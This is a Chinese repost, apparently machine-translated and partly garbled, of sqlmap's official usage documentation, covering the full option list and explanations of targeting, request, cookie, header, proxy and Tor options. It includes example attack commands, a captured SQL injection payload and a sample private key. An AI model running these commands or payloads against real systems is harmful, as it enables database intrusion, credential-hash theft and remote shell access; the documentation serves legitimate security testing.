1. 程式人生 > 實用技巧 >SQL注入_sqlmap_官方文件

SQL注入_sqlmap_官方文件

使用Ctrl+F搜尋更方便

使用

Usage: python sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -d DIRECT           Connection string for direct database connection
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target URL

    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --param-del=PARA..  Character used for splitting parameter values (e.g. &)
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --cookie-del=COO..  Character used for splitting cookie values (e.g. ;)
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header value
    --random-agent      Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP Host header value
    --referer=REFERER   HTTP Referer header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file
    --ignore-code=IG..  Ignore (problematic) HTTP error code (e.g. 401)
    --ignore-proxy      Ignore system default proxy settings
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing
    --safe-post=SAFE..  POST data to send to a safe URL
    --safe-req=SAFER..  Load safe HTTP request from a file
    --safe-freq=SAFE..  Test requests between two visits to a given safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL  URL address to visit for extraction of anti-CSRF token
    --force-ssl         Force usage of SSL/HTTPS
    --hpp               Use HTTP parameter pollution method
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Optimization:
    These options can be used to optimize the performance of sqlmap

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --skip=SKIP         Skip testing for given parameter(s)
    --skip-static       Skip testing parameters that not appear to be dynamic
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
    --dbms=DBMS         Force back-end DBMS to provided value
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
    --os=OS             Force back-end DBMS operating system to provided value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --invalid-string    Use random strings for invalidating values
    --no-cast           Turn off payload casting mechanism
    --no-escape         Turn off string escaping mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-url=SEC..  Resulting page URL searched for second-order response
    --second-req=SEC..  Load second-order HTTP request from file

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    --comments          Check for DBMS comments during enumeration
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
    -X EXCLUDE          DBMS database identifier(s) to not enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --pivot-column=P..  Pivot column name
    --where=DUMPWHERE   Use WHERE condition while table dumping
    --start=LIMITSTART  First dump table entry to retrieve
    --stop=LIMITSTOP    Last dump table entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)

  Brute force:
    These options can be used to run brute force checks

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

  User-defined function injection:
    These options can be used to create custom user-defined functions

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system

    --file-read=FILE..  Read a file from the back-end DBMS file system
    --file-write=FIL..  Write a local file on the back-end DBMS file system
    --file-dest=FILE..  Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

  General:
    These options can be used to set some general working parameters

    -s SESSIONFILE      Load session from a stored (.sqlite) file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --answers=ANSWERS   Set predefined answers (e.g. "quit=N,follow=N")
    --base64=BASE64P..  Parameter(s) containing Base64 encoded data
    --batch             Never ask for user input, use the default behavior
    --binary-fields=..  Result fields having binary values (e.g. "digest")
    --check-internet    Check Internet connection before assessing the target
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
    --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target URL
    --fresh-queries     Ignore query results stored in session file
    --har=HARFILE       Log all HTTP traffic into a HAR file
    --hex               Use hex conversion during data retrieval
    --output-dir=OUT..  Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --preprocess=PRE..  Use given script(s) for preprocessing of response data
    --repair            Redump entries having unknown character marker (?)
    --save=SAVECONFIG   Save options to a configuration INI file
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
    --update            Update sqlmap

  Miscellaneous:
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       Run host OS command(s) when SQL injection is found
    --beep              Beep on question and/or when SQL injection is found
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
    --dependencies      Check for missing (optional) sqlmap dependencies
    --disable-coloring  Disable console output coloring
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --identify-waf      Make a thorough testing for a WAF/IPS protection
    --list-tampers      Display list of available tamper scripts
    --mobile            Imitate smartphone through HTTP User-Agent header
    --offline           Work in offline mode (only use session data)
    --purge             Safely remove all content from sqlmap data directory
    --skip-waf          Skip heuristic detection of WAF/IPS protection
    --smart             Conduct thorough tests only if positive heuristic(s)
    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    Local directory for storing temporary files
    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")
    --wizard            Simple wizard interface for beginner users

輸出詳細程度

選項:-v

此選項可用於設定輸出訊息的冗長級別。詳細程度存在七個層次。預設級別為1,其中顯示資訊、警告、錯誤、關鍵訊息和 Python 回溯(如果發生任何情況)。

  • 0: 僅顯示 Python 回溯、錯誤和關鍵訊息。
  • 1: 還顯示資訊和警告訊息。
  • 2: 顯示還除錯訊息。
  • 3: 還顯示還注入的有效負載。
  • 4: 還顯示 HTTP 請求。
  • 5: 還顯示 HTTP 響應的標頭。
  • 6: 還顯示 HTTP 響應的頁面內容。

一個合理的詳細程度,以進一步理解sqlmap在引擎蓋下做什麼是2級,主要用於檢測階段和接管功能。但是,如果您想要檢視工具傳送的 SQL 有效負載,則級別 3是您的最佳選擇。建議在向開發人員提供潛在 Bug 報告時使用此級別,請確保隨標準輸出一起傳送使用 選項 生成的流量日誌檔案。為了進一步除錯潛在的錯誤或意外行為,我們建議您將詳細程度設定為4 級

或以上。應當指出,還可以使用此選項的較短版本來設定詳細程度,其中所提供的開關內的字母數(而不是選項)決定了詳細程度(例如: 而不是 ,而不是 ,而不是,等等。-t``v``-v``-v 2``-vv``-v 3``-vvv``-v 4

目標

至少提供了其中一個選項來設定目標。

直接連線到資料庫

選項:-d

針對單個數據庫例項執行 sqlmap。此選項接受以下形式之一的連線字串:

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL、Oracle、微軟SQL伺服器、PostgreSQL等)
  • DBMS://DATABASE_FILEPATH(SQLite、微軟訪問、火鳥等)

例如:

$ python sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --bann\
er --dbs --users

目標 URL

選項:或-u``--url

針對單個目標 URL 執行 sqlmap。此選項需要以下形式的目標 URL:

http(s)://targeturl[:port]/[...]

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
-users

從 Burp 或 WebScarab 代理日誌分析目標

選項:-l

而不是提供單個目標URL,可以測試和注入通過Burp代理或WebScarab代理的HTTP請求。此選項需要一個引數,該引數是代理的 HTTP 請求日誌檔案。

掃描在給定文字檔案中登記的多個目標

選項:-m

提供在給定批量檔案中登記的目標 URL 列表,sqlmap 將一個掃描其中每個 URL。

作為此選項的引數提供的批量檔案的示例內容:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

從檔案載入 HTTP 請求

選項:-r

sqlmap 的可能性之一是從文字檔案載入原始 HTTP 請求。這樣,您就可以跳過許多其他選項的使用(例如,Cookie 的設定、POSTED 資料等)。

作為此選項的引數提供的 HTTP 請求檔案的示例內容:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

請注意,如果請求超過 HTTPS,您可以將此請求與交換機結合使用,以強制 SSL 連線到 443/tcp。或者,可以追加到標頭值的末尾。--force-ssl``:443``Host

將 Google dork 結果作為目標地址處理

選項:-g

也可以根據您的 Google 傻瓜的結果測試和注入 GET 引數。

此選項使 sqlmap 與搜尋引擎協商其會話 Cookie 以便能夠執行搜尋,然後 sqlmap 將檢索 Google 前 100 個結果的 Google dork 表示式與 GET 引數詢問您是否要測試和注入每個可能受影響的 URL。

例如:

$ python sqlmap.py -g "inurl:\".php?id=1\""

從配置 INI 檔案載入選項

選項:-c

可以從配置 INI 檔案傳遞使用者的選項,例如 。sqlmap.conf

請注意,如果從命令列中提供其他選項,則在執行 sqlmap 時將計算這些選項並覆蓋配置檔案中提供的選項。

請求

這些選項可用於指定如何連線到目標 URL。

HTTP 方法

選項:--method

sqlmap 自動檢測要在 HTTP 請求中使用的正確 HTTP 方法。然而,在某些情況下,需要強制使用自動化系統未使用的特定 HTTP 方法(例如 )。使用此選項(例如 ), 可以這樣做。PUT``--method=PUT

HTTP 資料

選項:--data

預設情況下,用於執行 HTTP 請求的 HTTP 方法是 GET,但您可以通過提供要在 POST 請求中傳送的資料來隱式地將它更改為 POST。此類資料作為這些引數,將測試 SQL 注入以及任何提供的 GET 引數。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users

引數拆分字元

選項:--param-del

在某些情況下,預設引數分隔符(例如 在 GET 和 POST 資料中),需要覆蓋 sqlmap 才能正確拆分和分別處理每個引數。&

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users

HTTP 標頭Cookie

選項和開關: 、 和--cookie``--cookie-del``--load-cookies``--drop-set-cookie

這些選項和開關可用於兩種情況:

  • Web 應用程式需要基於 Cookie 進行身份驗證,並且您擁有此類資料。
  • 您希望檢測和利用此類標頭值上的 SQL 注入。

這兩個原因都使您需要傳送具有 sqlmap 請求的 Cookie,要執行的步驟如下:

  • 使用您最喜愛的瀏覽器登入應用程式。
  • 從瀏覽器的首選項或 HTTP 代理螢幕獲取 HTTP Cookie,然後複製到剪貼簿。
  • 回到 shell 並通過將剪貼簿貼上為選項的值來執行 sqlmap。--cookie

請注意,HTTP 標頭值通常由字元分隔,而不是由分隔。sqlmap 也可以識別為單獨的集,以及 GET 和 POST 引數。如果分離字元不是它可以使用選項指定。Cookie``;``&``parameter=value``;``--cookie-del

如果在通訊期間的任何時間,Web 應用程式都會使用標頭進行響應,sqlmap 將自動將其值用於所有進一步的 HTTP 請求中的標頭。sqlmap 還會自動測試 SQL 注入的這些值。這可以通過提供開關 - sqlmap 來忽略任何即將推出的標頭來避免。Set-Cookie``Cookie``--drop-set-cookie``Set-Cookie

反之亦然,如果提供具有選項的 HTTP 標頭,並且目標 URL 隨時傳送 HTTP 標頭,sqlmap 將詢問要用於以下 HTTP 請求的 Cookie 集。Cookie``--cookie``Set-Cookie

還有一個選項,可用於提供包含網景/wget 格式的 Cookie 的特殊檔案。--load-cookies

請注意,如果 設定為2或 2 以上,也會根據 SQL 注入測試 HTTP 標頭。有關詳細資訊,請閱讀下文。Cookie``--level

HTTP 標頭User-Agent

選項和開關:和--user-agent``--random-agent

預設情況下,sqlmap 使用以下標頭值執行 HTTP 請求:User-Agent

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

但是,通過提供自定義使用者代理作為選項的引數,可以偽造該選項。--user-agent

此外,通過提供開關,sqlmap 將從文字檔案中隨機選擇 一個,並用於會話內的所有 HTTP 請求。--random-agent``User-Agent``./txt/user-agents.txt

某些站點執行 HTTP 標頭值的伺服器端檢查,如果未提供有效的 HTTP 響應、其值未預期或被 Web 應用程式防火牆或類似入侵防護系統列入黑名單,則 HTTP 響應失敗。在這種情況下,sqlmap 將顯示一條訊息,如下所示:User-Agent``User-Agent

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to 
force the HTTP User-Agent header with option --user-agent or --random-agent

請注意,如果 設定為 3 或3以上,也會根據 SQL 注入測試 HTTP 標頭。有關詳細資訊,請閱讀下文。User-Agent``--level

HTTP 標頭Host

選項:--host

您可以手動設定 HTTP 標頭值。預設情況下,從提供的目標 URL 解析 HTTP 標頭。Host``Host

請注意,如果 設定為5,也會根據 SQL 注入測試 HTTP 標頭。有關詳細資訊,請閱讀下文。Host``--level

HTTP 標頭Referer

選項:--referer

可以偽造 HTTP 標頭值。預設情況下,如果未顯式設定 HTTP 請求,則不會發送 HTTP 標頭。Referer``Referer

請注意,如果 設定為 3 或3以上,也會根據 SQL 注入測試 HTTP 標頭。有關詳細資訊,請閱讀下文。Referer``--level

額外的 HTTP 標頭

選項:--headers

通過設定 選項 可以提供額外的 HTTP 標頭。每個標頭都必須用一個新行分隔,並且從配置 INI 檔案中提供它們要容易得多。您可以檢視此類情況的示例檔案。--headers``sqlmap.conf

針對 MySQL 目標的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]

HTTP 協議身份驗證

選項: 和--auth-type``--auth-cred

這些選項可用於指定哪個 HTTP 協議身份驗證端 Web 伺服器實現以及用於執行對目標應用程式的所有 HTTP 請求的有效憑據。

支援的三種 HTTP 協議身份驗證機制是:

  • Basic
  • Digest
  • NTLM

雖然憑據的語法為 。username:password

有效語法示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP 協議私鑰身份驗證

選項:--auth-file

當 Web 伺服器需要適當的客戶端證書和用於身份驗證的私鑰時,應使用此選項。提供的值應為設定的 PEM 格式,其中包含證書和私鑰。key_file

與 相容的 生成 示例:key_file.txt``--auth-file

$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout auth_file.key -out auth_file.pem &&\
cat auth_file.key auth_file.pem > auth_file.txt && cat auth_file.txt
Generating a 2048 bit RSA private key
.........+++
...........+++
writing new private key to 'auth_file.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCWM28J1ua2DINf
VLU28oeJwQidL9vTRoGJR5pfBU6Mhu33Cv6RuVEJAfMWEKYDSbqbrEyy1zUiNTcG
mEd026Peq0SPRvsKsVb6K+EHVF3r+6ExXHEctPRbh2GIzi2kCQMkdHDg+DhmieQ9
9Haxk9IREJZTo2vC1ohvM5M/yubw4iwgMlDaW+4s82OgOcCLjewbPLFZU5gMV+8W
XLKUttUYwV79duPbEvG9S1soNFHhu/MOcNiKJpH2zSegd9Dk5/OJRGX5xEiv7AyL
4shQLpAqn5kuZcm2K+ib/4x/Rw2yT1Slh2tQIi8RcwlYyycOrSqvhW7vvdqkblbY
mQQyR2ChAgMBAAECggEBAIqvMveC1cOCCksbi7cQeNVYxvtcFT0e/LwkwQS7gat/
anmQTT2APrJyemEFPkQK76KNlMQMsaLEP+p28IOVydjvin5Aq8tTs1uK6Fw8Kfya
elt5X3eCHZ3lgskuljW/nIcsfI08o9cJuxT5hB6yvmPDTQos+nMMYy1KEcv1LQd8
Y+QAmVQqMF5Nyf8Q6op6hWZIIJY5NDbRE0zYzhGcHWg2798Dx1sO0HT6TD8cNP8H
AVp/V21tzpmFpe0A7NajgYEjkij6fg+6mG0j0WZdWymYXDeiTdDpwzs/SPRevBLn
Okp/6vqtdekMeYL591MNBl8GRZpJW9gNLRX7vQ6YYAECgYEAxGV9e85GpLUd/uUb
1MvGajd+HtN/uoWH1ySG34vi3q/dDKBehry2yoDUosxXf9vbH0IrvaXnO8yXGflS
wb2TELLezGWbw6kPaw2XIgL4elO5TPh2rNJwz1wOhv3FT2XSGJbXx/CED3mL7MGs
qwRU/bRrNV7RmzV2veThlLCLjZECgYEAw8jm7vOzQQnqEjs0wlfJmzOyFqilYvEP
8v7HxDv1M7e7M0TqLECET9VlQE5spGuzEWN7/iMtE8xxnz2n/vGnGAV8qv1LJYrA
TWQMTIC6V9/jKM8wNOfT7Eh1rJ1cty87yokXpy/cdmkv7yxb1b2zuBk8/1nlYqA0
5uqb345eWhECgYEAmoXv0TVfR8BpNWA2IZujJXc7+C0YVj0xwAixRbneaq+cEI8t
UH2ypGnw45Y7UhI9ub5qg/DAmsBCMuGER4NM7tqNiex4Pd4Kj4RF4TDNKBIvvWvQ
k/GPaNdZZsTMNcg7IbWtWVbX0QUlHsbTgEsMRAFsSLWt3ZyXLJmlE0REyMECgYEA
oCqEscrwRC7GLK/+01ZZ+fvqnxrMYgrvj0zbRDAAwpR2MtUX9ae6Fk1vDZKa0k/B
KGKIlzlTsTS5ZxpbivdKSR6EBKY+ibHe6/EDFrrgtu7TuRj2SPG2rz//9Hyv0rRz
Z5eLoBxJcR1QN4vEfTE6C0uqWQPD4lFJtfcMGXEwwuECgYAK+4gwPBlrKClrRtDc
7Fnq8RLYeZRbM5WEmTHfRnlYylniMsj2K20H8ln8pdOqCE4iJn0SezIQIaAtcwMP
WQt15kgJgLwM/uBtqDeWRpTEotVMFXQbZImobjpXUhTqu0NWBwbypM/zarfRWPJ4
fJkrlA16caVj3qGaX1lkm06OAA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJALTHPlkIs/+KMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTgwODIyMDc0NTQxWhcNMTkwODIyMDc0NTQxWjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAljNvCdbmtgyDX1S1NvKHicEInS/b00aBiUeaXwVOjIbt9wr+kblRCQHz
FhCmA0m6m6xMstc1IjU3BphHdNuj3qtEj0b7CrFW+ivhB1Rd6/uhMVxxHLT0W4dh
iM4tpAkDJHRw4Pg4ZonkPfR2sZPSERCWU6NrwtaIbzOTP8rm8OIsIDJQ2lvuLPNj
oDnAi43sGzyxWVOYDFfvFlyylLbVGMFe/Xbj2xLxvUtbKDRR4bvzDnDYiiaR9s0n
oHfQ5OfziURl+cRIr+wMi+LIUC6QKp+ZLmXJtivom/+Mf0cNsk9UpYdrUCIvEXMJ
WMsnDq0qr4Vu773apG5W2JkEMkdgoQIDAQABo1AwTjAdBgNVHQ4EFgQUVvHI/2qF
kmRCEWlWB+ZvJzWTnUkwHwYDVR0jBBgwFoAUVvHI/2qFkmRCEWlWB+ZvJzWTnUkw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAg5tmkM75/NEEymu0ublj
c2R1/ZxwbKMjg98KxLqGFJbPVRG0qgIy+uc+Gvh6FEgPF22i4L9DROfuDQW3YSJ6
x3JnJxLsU+jjXxtN7hNwoQziQkicKr0y47TjqOKLlBlKTbdnr74nJXSYQhi4qEFE
qgrUG7ScitgLvcf2sDVf9L2SUsH5iRK+HlgYEtSKhUl5SkLapcUUF+GmectUOkm7
m7Z8gelenVUerLojnQL2avKD07hWTTGkgX2PV8hdun0WIvBLWAcJN+6T9sdakJZZ
qJjFQBXjcxwgVe0vB0vJmqa5lj9OymQnBMjp+3zpUtDJNH2M1qySbU6tGEX1wsW/
VA==
-----END CERTIFICATE-----

忽略(有問題的)HTTP 錯誤程式碼

選項--ignore-code

如果您想要測試偶爾返回導致問題到常規 sqlmap 執行的 HTTP 錯誤程式碼(例如 401(未授權))的站點,而您希望忽略它並繼續測試,可以使用選項--ignore-code

HTTP(S) 代理

選項和開關: 、 和--proxy``--proxy-cred``--proxy-file``--ignore-proxy

可以提供 HTTP(S) 代理地址,通過 HTTP(S) 請求傳遞給具有 選項的目標 URL。HTTP(S) 代理值的語法為 。--proxy``http://url:port

如果 HTTP(S) 代理需要身份驗證,您可以以 格式提供憑據到 選項 。username:password``--proxy-cred

如果您想要使用(一次性)代理列表,在連線問題的任何跡象(例如阻止侵入性 IP 地址)時跳到下一個代理,則可以通過提供包含代理批量列表的檔案的檔名來使用選項。--proxy-file

當您要通過忽略系統範圍的集 HTTP(S) 代理伺服器設定來針對著地區域網路的目標部分執行 sqlmap 時,應使用交換機。--ignore-proxy

Tor 匿名網路

開關和選項:、 和--tor``--tor-port``--tor-type``--check-tor

如果出於任何原因,您需要保持匿名,而不是通過單個預定義的 HTTP(S) 代理伺服器,您可以在計算機上配置 Tor 客戶端以及 Privoxy(或類似),如 Tor 安裝指南中所述。然後您可以使用開關,sqlmap 將嘗試自動設定 Tor 代理連線設定。--tor

如果您要手動設定已用 Tor 代理的型別和埠,可以使用選項和 (例如 ) 執行此操作。--tor-type``--tor-port``--tor-type=SOCKS5 --tor-port 9050

